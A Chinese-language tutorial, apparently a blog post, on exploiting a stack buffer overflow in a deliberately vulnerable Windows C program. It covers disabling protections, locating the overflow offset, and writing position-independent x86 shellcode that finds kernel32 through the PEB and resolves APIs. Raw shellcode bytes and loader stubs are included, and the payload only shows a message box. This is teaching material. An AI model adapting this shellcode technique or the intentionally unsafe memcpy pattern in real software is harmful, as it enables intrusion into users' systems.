概述

何为软件漏洞

软件漏洞

理论上所有的漏洞均是软件漏洞,即便看起来像硬件级的漏洞,其本质仍是软件漏洞,软件漏洞是目前信息安全领域讨论的终极话题

软件漏洞成因

本质上是由于人类目前还没有办法再原点上区分数据与代码(无论是冯诺依曼结构或哈佛结构均是如此),从事件的成因来看则是目前人类还未理解编写安全代码的真正方法

如何有效预防

通过修改公共库函数的安全性,从根本上让软件漏洞的出现频率降低,并通过操作系统级的干预,使得有效的溢出攻击变得越来越难实现

软件漏洞常见名词

Vulnerability

中文直译:“漏洞”,它是通过黑客们(或软件厂商的安全部门)调试分析出来可能导致安全性问题的软件缺陷

Exploit

中文直译:“漏洞利用”,它是能够利用或触发一段代码,也就是一个漏洞利用方法。Exploit代码/方法一般执行再攻击者机器上,或执行再权限受限的环境中

ShellCode

中文直译:“壳代码”,它是通过Exploit顺利执行后,将一部分代码以巧妙的方式再指定机器上以指定的权限运行,这段代码就被称之为ShellCode。ShellCode一般执行在被攻击者的机器上,或执行在权限相对受限的环境中

Payload

中文直译:“有效载荷”,Payload是ShellCode的一部分,ShellCode的执行往往就是为了给Payload代码开山铺路,使其能够按照攻击者的意愿执行,也就是说Payload部分是做具体事物的部分(恶意)代码

获取关键模块基址

1
2
3
4
5
6
7
8
9
10
11
__asm
{
push esi;
mov esi, dword ptr fs : [0x30]; // PET addr
mov esi, [ esi + 0x0c ]; // PEB_LDR_DATA struct
mov esi, [ esi + 0x1c ]; // 第三个双向链表
mov esi, [ esi ]; // 得到链表第二个条目地址
mov esi, [ esi + 0x08 ]; // 获取Kernel32 或KernelBase addr
mov hKeyModule, esi; // 保存到局部变量
pop esi; // 还原ESI值
}

_TEB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
//0x1000 bytes (sizeof)
struct _TEB
{
struct _NT_TIB NtTib; //0x0
VOID* EnvironmentPointer; //0x1c
struct _CLIENT_ID ClientId; //0x20
VOID* ActiveRpcHandle; //0x28
VOID* ThreadLocalStoragePointer; //0x2c
struct _PEB* ProcessEnvironmentBlock; //0x30
ULONG LastErrorValue; //0x34
ULONG CountOfOwnedCriticalSections; //0x38
VOID* CsrClientThread; //0x3c
VOID* Win32ThreadInfo; //0x40
ULONG User32Reserved[26]; //0x44
ULONG UserReserved[5]; //0xac
VOID* WOW32Reserved; //0xc0
ULONG CurrentLocale; //0xc4
ULONG FpSoftwareStatusRegister; //0xc8
VOID* ReservedForDebuggerInstrumentation[16]; //0xcc
VOID* SystemReserved1[26]; //0x10c
CHAR PlaceholderCompatibilityMode; //0x174
UCHAR PlaceholderHydrationAlwaysExplicit; //0x175
CHAR PlaceholderReserved[10]; //0x176
ULONG ProxiedProcessId; //0x180
struct _ACTIVATION_CONTEXT_STACK _ActivationStack; //0x184
UCHAR WorkingOnBehalfTicket[8]; //0x19c
LONG ExceptionCode; //0x1a4
struct _ACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; //0x1a8
ULONG InstrumentationCallbackSp; //0x1ac
ULONG InstrumentationCallbackPreviousPc; //0x1b0
ULONG InstrumentationCallbackPreviousSp; //0x1b4
UCHAR InstrumentationCallbackDisabled; //0x1b8
UCHAR SpareBytes[23]; //0x1b9
ULONG TxFsContext; //0x1d0
struct _GDI_TEB_BATCH GdiTebBatch; //0x1d4
struct _CLIENT_ID RealClientId; //0x6b4
VOID* GdiCachedProcessHandle; //0x6bc
ULONG GdiClientPID; //0x6c0
ULONG GdiClientTID; //0x6c4
VOID* GdiThreadLocalInfo; //0x6c8
ULONG Win32ClientInfo[62]; //0x6cc
VOID* glDispatchTable[233]; //0x7c4
ULONG glReserved1[29]; //0xb68
VOID* glReserved2; //0xbdc
VOID* glSectionInfo; //0xbe0
VOID* glSection; //0xbe4
VOID* glTable; //0xbe8
VOID* glCurrentRC; //0xbec
VOID* glContext; //0xbf0
ULONG LastStatusValue; //0xbf4
struct _UNICODE_STRING StaticUnicodeString; //0xbf8
WCHAR StaticUnicodeBuffer[261]; //0xc00
VOID* DeallocationStack; //0xe0c
VOID* TlsSlots[64]; //0xe10
struct _LIST_ENTRY TlsLinks; //0xf10
VOID* Vdm; //0xf18
VOID* ReservedForNtRpc; //0xf1c
VOID* DbgSsReserved[2]; //0xf20
ULONG HardErrorMode; //0xf28
VOID* Instrumentation[9]; //0xf2c
struct _GUID ActivityId; //0xf50
VOID* SubProcessTag; //0xf60
VOID* PerflibData; //0xf64
VOID* EtwTraceData; //0xf68
VOID* WinSockData; //0xf6c
ULONG GdiBatchCount; //0xf70
union
{
struct _PROCESSOR_NUMBER CurrentIdealProcessor; //0xf74
ULONG IdealProcessorValue; //0xf74
struct
{
UCHAR ReservedPad0; //0xf74
UCHAR ReservedPad1; //0xf75
UCHAR ReservedPad2; //0xf76
UCHAR IdealProcessor; //0xf77
};
};
ULONG GuaranteedStackBytes; //0xf78
VOID* ReservedForPerf; //0xf7c
VOID* ReservedForOle; //0xf80
ULONG WaitingOnLoaderLock; //0xf84
VOID* SavedPriorityState; //0xf88
ULONG ReservedForCodeCoverage; //0xf8c
VOID* ThreadPoolData; //0xf90
VOID** TlsExpansionSlots; //0xf94
ULONG MuiGeneration; //0xf98
ULONG IsImpersonating; //0xf9c
VOID* NlsCache; //0xfa0
VOID* pShimData; //0xfa4
ULONG HeapData; //0xfa8
VOID* CurrentTransactionHandle; //0xfac
struct _TEB_ACTIVE_FRAME* ActiveFrame; //0xfb0
VOID* FlsData; //0xfb4
VOID* PreferredLanguages; //0xfb8
VOID* UserPrefLanguages; //0xfbc
VOID* MergedPrefLanguages; //0xfc0
ULONG MuiImpersonation; //0xfc4
union
{
volatile USHORT CrossTebFlags; //0xfc8
USHORT SpareCrossTebBits:16; //0xfc8
};
union
{
USHORT SameTebFlags; //0xfca
struct
{
USHORT SafeThunkCall:1; //0xfca
USHORT InDebugPrint:1; //0xfca
USHORT HasFiberData:1; //0xfca
USHORT SkipThreadAttach:1; //0xfca
USHORT WerInShipAssertCode:1; //0xfca
USHORT RanProcessInit:1; //0xfca
USHORT ClonedThread:1; //0xfca
USHORT SuppressDebugMsg:1; //0xfca
USHORT DisableUserStackWalk:1; //0xfca
USHORT RtlExceptionAttached:1; //0xfca
USHORT InitialThread:1; //0xfca
USHORT SessionAware:1; //0xfca
USHORT LoadOwner:1; //0xfca
USHORT LoaderWorker:1; //0xfca
USHORT SkipLoaderInit:1; //0xfca
USHORT SpareSameTebBits:1; //0xfca
};
};
VOID* TxnScopeEnterCallback; //0xfcc
VOID* TxnScopeExitCallback; //0xfd0
VOID* TxnScopeContext; //0xfd4
ULONG LockCount; //0xfd8
LONG WowTebOffset; //0xfdc
VOID* ResourceRetValue; //0xfe0
VOID* ReservedForWdf; //0xfe4
ULONGLONG ReservedForCrt; //0xfe8
struct _GUID EffectiveContainerId; //0xff0
};

_PEB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
//0x480 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
VOID* Mutant; //0x4
VOID* ImageBaseAddress; //0x8
struct _PEB_LDR_DATA* Ldr; //0xc
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x10
VOID* SubSystemData; //0x14
VOID* ProcessHeap; //0x18
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x1c
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x20
VOID* IFEOKey; //0x24
union
{
ULONG CrossProcessFlags; //0x28
struct
{
ULONG ProcessInJob:1; //0x28
ULONG ProcessInitializing:1; //0x28
ULONG ProcessUsingVEH:1; //0x28
ULONG ProcessUsingVCH:1; //0x28
ULONG ProcessUsingFTH:1; //0x28
ULONG ProcessPreviouslyThrottled:1; //0x28
ULONG ProcessCurrentlyThrottled:1; //0x28
ULONG ProcessImagesHotPatched:1; //0x28
ULONG ReservedBits0:24; //0x28
};
};
union
{
VOID* KernelCallbackTable; //0x2c
VOID* UserSharedInfoPtr; //0x2c
};
ULONG SystemReserved; //0x30
union _SLIST_HEADER* volatile AtlThunkSListPtr32; //0x34
VOID* ApiSetMap; //0x38
ULONG TlsExpansionCounter; //0x3c
VOID* TlsBitmap; //0x40
ULONG TlsBitmapBits[2]; //0x44
VOID* ReadOnlySharedMemoryBase; //0x4c
VOID* SharedData; //0x50
VOID** ReadOnlyStaticServerData; //0x54
VOID* AnsiCodePageData; //0x58
VOID* OemCodePageData; //0x5c
VOID* UnicodeCaseTableData; //0x60
ULONG NumberOfProcessors; //0x64
ULONG NtGlobalFlag; //0x68
union _LARGE_INTEGER CriticalSectionTimeout; //0x70
ULONG HeapSegmentReserve; //0x78
ULONG HeapSegmentCommit; //0x7c
ULONG HeapDeCommitTotalFreeThreshold; //0x80
ULONG HeapDeCommitFreeBlockThreshold; //0x84
ULONG NumberOfHeaps; //0x88
ULONG MaximumNumberOfHeaps; //0x8c
VOID** ProcessHeaps; //0x90
VOID* GdiSharedHandleTable; //0x94
VOID* ProcessStarterHelper; //0x98
ULONG GdiDCAttributeList; //0x9c
struct _RTL_CRITICAL_SECTION* LoaderLock; //0xa0
ULONG OSMajorVersion; //0xa4
ULONG OSMinorVersion; //0xa8
USHORT OSBuildNumber; //0xac
USHORT OSCSDVersion; //0xae
ULONG OSPlatformId; //0xb0
ULONG ImageSubsystem; //0xb4
ULONG ImageSubsystemMajorVersion; //0xb8
ULONG ImageSubsystemMinorVersion; //0xbc
ULONG ActiveProcessAffinityMask; //0xc0
ULONG GdiHandleBuffer[34]; //0xc4
VOID (*PostProcessInitRoutine)(); //0x14c
VOID* TlsExpansionBitmap; //0x150
ULONG TlsExpansionBitmapBits[32]; //0x154
ULONG SessionId; //0x1d4
union _ULARGE_INTEGER AppCompatFlags; //0x1d8
union _ULARGE_INTEGER AppCompatFlagsUser; //0x1e0
VOID* pShimData; //0x1e8
VOID* AppCompatInfo; //0x1ec
struct _UNICODE_STRING CSDVersion; //0x1f0
struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x1f8
struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x1fc
struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x200
struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x204
ULONG MinimumStackCommit; //0x208
VOID* SparePointers[4]; //0x20c
ULONG SpareUlongs[5]; //0x21c
VOID* WerRegistrationData; //0x230
VOID* WerShipAssertPtr; //0x234
VOID* pUnused; //0x238
VOID* pImageHeaderHash; //0x23c
union
{
ULONG TracingFlags; //0x240
struct
{
ULONG HeapTracingEnabled:1; //0x240
ULONG CritSecTracingEnabled:1; //0x240
ULONG LibLoaderTracingEnabled:1; //0x240
ULONG SpareTracingBits:29; //0x240
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x248
ULONG TppWorkerpListLock; //0x250
struct _LIST_ENTRY TppWorkerpList; //0x254
VOID* WaitOnAddressHashTable[128]; //0x25c
VOID* TelemetryCoverageHeader; //0x45c
ULONG CloudFileFlags; //0x460
ULONG CloudFileDiagFlags; //0x464
CHAR PlaceholderCompatibilityMode; //0x468
CHAR PlaceholderCompatibilityModeReserved[7]; //0x469
struct _LEAP_SECOND_DATA* LeapSecondData; //0x470
union
{
ULONG LeapSecondFlags; //0x474
struct
{
ULONG SixtySecondEnabled:1; //0x474
ULONG Reserved:31; //0x474
};
};
ULONG NtGlobalFlag2; //0x478
};

_PEB_LDR_DATA

1
2
3
4
5
6
7
8
9
10
11
12
13
//0x30 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
UCHAR ShutdownInProgress; //0x28
VOID* ShutdownThreadId; //0x2c
};

InInitializationOrderModuleList 指向的是一个结构体具体如下所示

_LIST_ENTRY

1
2
3
4
5
6
//0x8 bytes (sizeof)
struct _LIST_ENTRY
{
struct _LIST_ENTRY* Flink; //0x0
struct _LIST_ENTRY* Blink; //0x4
};

_LDR_DATA_TABLE_ENTRY

次结构为公开(根据逆向得出)

1
2
3
4
5
6
7
8
9
10
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks; //[0x00]此结构位置
PVOID DllBase; //[0x08]模块加载基址
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
}

含有溢出漏洞C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <Windows.h>
#include <stdio.h>


#define PASSWORD "PASSWORD"
int VerifyPassword(char* pszPassword, int nSize)
{
char szBuffer[50] = {0};
memcpy(szBuffer, pszPassword, nSize);
return strcmp(PASSWORD, szBuffer);
}

int main()
{
int nFlag = 0;
char szPassword[0x200] = {0};
FILE* pFile;
LoadLibraryA("user32.dll");
if (NULL == (pFile = fopen("password.txt", "rb")))
{
MessageBoxA(NULL, "文件打开失败", "error", NULL);
exit(0);
}
fread(szPassword, sizeof(szPassword), 1, pFile);
fseek(pFile, 0, SEEK_END);//将文件指针指向结尾
int nFileSize = ftell(pFile);//返回文件的偏移量(文件大小)
rewind(pFile); //重新指向文件的开头
nFlag = VerifyPassword(szPassword, nFileSize);
if(nFlag)printf("密码错误\n");
else printf("密码正确\n");
fclose(pFile);
system("pause");
return 0;
}

修改编译选项

这段代码很明显在拷贝的时候会出现问题,所以一般编译阶段就不会通过,在这里就需要关闭几个选项(GS/DEP/优化)随机基址的关闭是为了更加方便的执行后续操作(你懂得)
右击工程属性

ShellCode

思路:

​ 1.将其整崩

​ 2.找到溢出点

​ 3.验证溢出点

​ 4.寻找jmp esp

​ 5.验证jmp esp

​ 6.在溢出点后空出一部分0x90(由于调用约定平栈)

​ 7.写入ShellCode

测试1

简单的利用该漏洞弹出空白弹窗

将其整崩

含有漏洞的代码中可以明显看出超过50个字节将会出现溢出,所以需要构造一个文件超过50个字节,并且这个文件里边的字符必须是可以有规律不重复的

使用一下代码输出一段字符串

1
2
3
4
5
6
7
for (int i = 65; i < 91; i++)
{
for (int j = 1; j < 10; j++)
{
printf("%c%d", i,j);
}
}

结果

1
A1A2A3A4A5A6A7A8A9B1B2B3B4B5B6B7B8B9C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E1E2E3E4E5E6E7E8E9F1F2F3F4F5F6F7F8F9G1G2G3G4G5G6G7G8G9H1H2H3H4H5H6H7H8H9I1I2I3I4I5I6I7I8I9J1J2J3J4J5J6J7J8J9K1K2K3K4K5K6K7K8K9L1L2L3L4L5L6L7L8L9M1M2M3M4M5M6M7M8M9N1N2N3N4N5N6N7N8N9O1O2O3O4O5O6O7O8O9P1P2P3P4P5P6P7P8P9Q1Q2Q3Q4Q5Q6Q7Q8Q9R1R2R3R4R5R6R7R8R9S1S2S3S4S5S6S7S8S9T1T2T3T4T5T6T7T8T9U1U2U3U4U5U6U7U8U9V1V2V3V4V5V6V7V8V9W1W2W3W4W5W6W7W8W9X1X2X3X4X5X6X7X8X9Y1Y2Y3Y4Y5Y6Y7Y8Y9Z1Z2Z3Z4Z5Z6Z7Z8Z9

将其复制到password.txt文件中(含有漏洞的程序中有用到该文件)

运行漏洞程序,该程序启动一会就被关闭了(在Win10环境中,在win7中应该会弹出错误窗口),这个时候就代表它崩溃了

定位溢出点

找到事件查看器

错误偏移量:溢出点

0x45324531对应的就是password中ascii码(31对应1,45对应E,32对应2,45对应E)

打开password.txt查看一下

验证溢出点

更改password.txt文件

保存之后再次运行,查看事件查看器

说明溢出点可以确定

ShellCode写入

简单弹窗,只需要找到Messagebox函数地址写入溢出点即可

打开调试器,Ctrl + G,输入MessageboxA

使用010Editor打开password.txt文件

修改此处为,30 19 08 77(调试器是小端,010是大端),后面还需跟四个参数及函数返回地址,由于弹的是最普通的白板,直接填0

保存后运行

测试2

测试壳代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main()
{

LoadLibraryA("user32.dll");

_asm
{
sub esp, 0x60
jmp tag_shellcode
//Messagebox函数地址(用于弹窗测试)
_asm _emit(0x30)_asm _emit(0x19)_asm _emit(0x08)_asm _emit(0x77)//地址:相对于tag_Next - 0x1A
//ExitProcess函数地址(用于草擦屁股)
_asm _emit(0x90)_asm _emit(0x59)_asm _emit(0xA2)_asm _emit(0x75)//地址:相对于tag_Next - 0x16
//Hello World\0字符串(弹窗显示文本)
_asm _emit(0x48)_asm _emit(0x65)_asm _emit(0x6c)_asm _emit(0x6c)//地址:相对于tag_Next - 0x12
_asm _emit(0x6f)_asm _emit(0x20)_asm _emit(0x57)_asm _emit(0x6f)
_asm _emit(0x72)_asm _emit(0x6c)_asm _emit(0x64)_asm _emit(0x21)_asm _emit(0x00)
tag_shellcode :
call tag_Next
tag_Next :
pop esi //获eip (call指令执行完成后,它的返回地址(当前EIP)就存在与栈顶,然后将其保存在esi寄存器中)
xor edx, edx//清零
lea edi, [esi - 0x12]//获取字符串地址
mov eax, [esi - 0x1A]//获取Messagebox函数地址
push edx //Type
push edi //lpCaption
push edi //lpText
push edx //hWnd
call eax //Messagebox
mov eax, [esi - 0x16]//获取ExitProcess函数地址
push edx//uExitCode
call eax//ExitProcess
}

return 0;
}

运行代码,结果是成功的

提取二进制

使用x32dbg打开

找到壳代码选中右键——>二进制——>编辑

测试二进制

1
2
3
4
5
6
7
8
9
10
11
12
char cshellcode[] = "\x83\xEC\x60\xEB\x15\x30\x19\x08\x77\x90\x59\xA2\x75\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0\x33\xC0\x5F\x5E\x5B\x5D\xC3"; 
int main()
{
_asm
{
lea eax, cshellcode;
push eax
ret
}

return 0;
}

运行

测试成功

ShellCode写入

将二进制写入password.txt文件中

使用010Editor打开,将粘贴板的二进制粘贴到文件开始位置

然后将溢出点写入漏洞代码中buff数组的地址,首先得找到该地址

用调试器打开漏洞程序

写入溢出点

保存后运行

测试3

壳代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
int main()
{
_asm
{
pushad;
sub esp, 0x50;
jmp tag_ShellCode;
// GetProcAddress\0 15
_asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)
_asm _emit(0x72)_asm _emit(0x6f)_asm _emit(0x63)_asm _emit(0x41)
_asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65)
_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)
// LoadLibraryExa\0 15
_asm _emit(0x4c)_asm _emit(0x6f)_asm _emit(0x61)_asm _emit(0x64)
_asm _emit(0x4c)_asm _emit(0x69)_asm _emit(0x62)_asm _emit(0x72)
_asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45)
_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)
// User32.dll\0 11
_asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2e)_asm _emit(0x64)
_asm _emit(0x6c)_asm _emit(0x6c)_asm _emit(0x00)
// MessageBoxA\0 12
_asm _emit(0x4d)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)
_asm _emit(0x61)_asm _emit(0x67)_asm _emit(0x65)_asm _emit(0x42)
_asm _emit(0x6f)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)
// ExitProcess\0 12
_asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)
_asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6f)_asm _emit(0x63)
_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)
// HelloWorld\0 12
_asm _emit(0x48)_asm _emit(0x65)_asm _emit(0x6c)_asm _emit(0x6c)
_asm _emit(0x6f)_asm _emit(0x20)_asm _emit(0x31)_asm _emit(0x35)
_asm _emit(0x50)_asm _emit(0x42)_asm _emit(0x21)_asm _emit(0x00)
tag_ShellCode:
// GETPC
call tag_Next;
tag_Next:
pop ebx; // 本代码起始地址 baseAddr
mov esi, dword ptr fs : [0x30] ; // PEB
mov esi, [esi + 0x0c]; // _PEB_LDR_DATA
mov esi, [esi + 0x1c]; // 双向链表指针
mov esi, [esi]; // 链表中的第二个条目 指向的是KERNEL32.DLL 或KERNELBASE.DLL
mov edx, [esi + 0x08]; // 获取Kernel32.dll基址
// 获取关键函数地址
// 1. GetProcAddress
push ebx; // 参数1: baseAddr
push edx; // 参数2: 保存Kernel32.dll 基址
// fun_GetProcAddress(IMAGEBASE,baseAddr)
call fun_GetProcAddress;
mov esi, eax; // 得到地址后保存到ESI中
// 2. 使用getProcaddress 得到LoadLibrary
lea ecx, [ebx - 0x43]; // "LoadLibrary\0"
push edx;
push ecx; // 参数1:字符串
push edx; // 参数2:kernel32.dll
call esi; // getprocaddress() 在这个CALL 里改变了EDX所以在调用之前先保存一下。调用完再还原回去。
pop edx;
// 3. PAYLOAD

push ebx; // baseAddr
push esi; // addr_getprocaddress()
push eax; // addr_loadlibraryexa()
push edx; // kernel32.dll基址
call fun_PayLoad;

fun_GetProcAddress:
// 进入函数标准开头来一个
push ebp;
mov ebp, esp;

sub esp, 0x0c; // 开辟个空间,可能 用到些参数要进来
push edx; // imagebase

// 1. 获取EAT,ENT,EOT
mov ecx, [ebp + 0x08]; // 把参数2给到edx,参数2是 IMAGEBASE

mov eax, [ecx + 0x3c]; // edx + 3c 是DOS头指向NT头的偏移
mov eax, [eax + ecx + 0x78]; // eax + edx 是NT头的地址 再 + 0x78 是数据目录表[0]的偏移

mov edi, [eax + ecx + 0x1c]; // EAT RVA
add edi, ecx;
mov[ebp - 0x04], edi; // EAT 保存到局部变量1中

mov edi, [eax + ecx + 0x20]; // ENT
add edi, ecx;
mov[ebp - 0x08], edi; // ENT 保存到局部变量2中

mov edi, [eax + ecx + 0x24]; // EOT
add edi, ecx;
mov[ebp - 0x0c], edi; // EOT 保存到局部变量3中

mov edi, [eax + ecx + 0x18]; // 导出表中 名称数量

//////////////////////////////////////////////////////////////////////////
// 已经获取到的数据状态:
// EAX :导出表 RVA
// ECX :IMAGEBASE
// EAT,ENT,EOT都在局部变量中
// EDI :函数名数量
//////////////////////////////////////////////////////////////////////////
// 循环对比函数名
xor eax, eax;
jmp tag_FirstCmp;
tag_CmpFunNameLoop:
inc eax; // EAX 是名称表中的下标
tag_FirstCmp:
mov esi, [ebp - 0x08]; // esi = local1_2 ENT
mov esi, [esi + eax * 4]; // ENT RVA 当下一次比较时,指针 + 4
mov edx, [ebp + 0x08]; // 参数1:IMAGEBASE
lea esi, [edx + esi]; // 获取到具体函数名的指针

mov ebx, [ebp + 0x0c]; // 参数2:CODEBASE
lea edi, [ebx - 0x52]; // "GetProcAddress"
mov ecx, 0x0e; // ecx = "GetProcAddress"长度

cld; // 改变方向从左向右进行比较
repe cmpsb; // 循环按字节进行比较
jne tag_CmpFunNameLoop; // 如果不相等则继续对比下一个函数名
// 成功后找到对应的地址
mov esi, [ebp - 0x0c]; // 局部变量 EOT
xor edi, edi; // 清空
// 序号的类型是WORD型的,因为它的增长是2个字节。
// 名称表的下标就是序号表的下标,从序号表中取出这个下标的内容,作为EAT中的索引
mov di, [esi + eax * 2]; // 用函数名下标,也就是序号表相同下标处的序号,从地址表中找到对应的地址
// 使用序号作为索引,找到函数名所对应的函数地址
mov edx, [ebp - 0x04]; // 取出 EAT
mov esi, [edx + edi * 4]; // esi = 用序号在函数地址数组找到函数名对应函数地址

mov edx, [ebp + 0x08]; // edx = param_1 IMAGE_BASE
// 返回获取到的关键函数地址
lea eax, [edx + esi]; // getprocaddress
pop edx;
mov esp, ebp;
pop ebp;
retn 0x08;

fun_PayLoad:
push ebp;
mov ebp, esp;
sub esp, 0x08;
mov ebx, [ebp + 0x14]; // ebx = param_4 baseaddr
// 1. 获取MessageBoxA
lea ecx, [ebx - 0x34]; // "User32.dll"
push 0;
push 0;
push ecx;
call[ebp + 0x0c]; // loadLibrary()
lea ecx, [ebx - 0x29]; // messageboxa
push ecx;
push eax;
call[ebp + 0x10]; // getprocaddress
mov[ebp - 0x04], eax; //
// 2. get exitprocaddr
lea ecx, [ebx - 0x1d]; // exitprocess\0
push ecx; // ExitProcess
push[ebp + 0x08]; // kernel32基址
call[ebp + 0x10]; // GetProcAddress()
mov[ebp - 0x08], eax;

// 弹框
lea ecx, [ebx - 0x11];
push 0;
push ecx;
push ecx;
push 0;
call[ebp - 0x04];
push 0;
call[ebp - 0x08];
mov esp, ebp;
pop ebp;
retn 0x10;
}
return 0;
}

测试壳代码

测试成功

提取二进制

x32Dbug打开,找到壳代码

测试二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <Windows.h>


char cshellcode[] = "\x60\x83\xEC\x50\xEB\x4D\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x31\x35\x50\x42\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x52\x51\x52\xFF\xD6\x5A\x53\x56\x50\x52\xE8\x6D\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x08\x8B\x41\x3C\x8B\x44\x08\x78\x8B\x7C\x08\x1C\x03\xF9\x89\x7D\xFC\x8B\x7C\x08\x20\x03\xF9\x89\x7D\xF8\x8B\x7C\x08\x24\x03\xF9\x89\x7D\xF4\x8B\x7C\x08\x18\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAE\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2\x10\x00\x33\xC0\x5F\x5E\x5B\x5D\xC3";
int main()
{
LoadLibraryA("user32.dll");
_asm
{
lea eax, cshellcode;
push eax
ret
}

return 0;
}

测试成功

寻找jmp esp

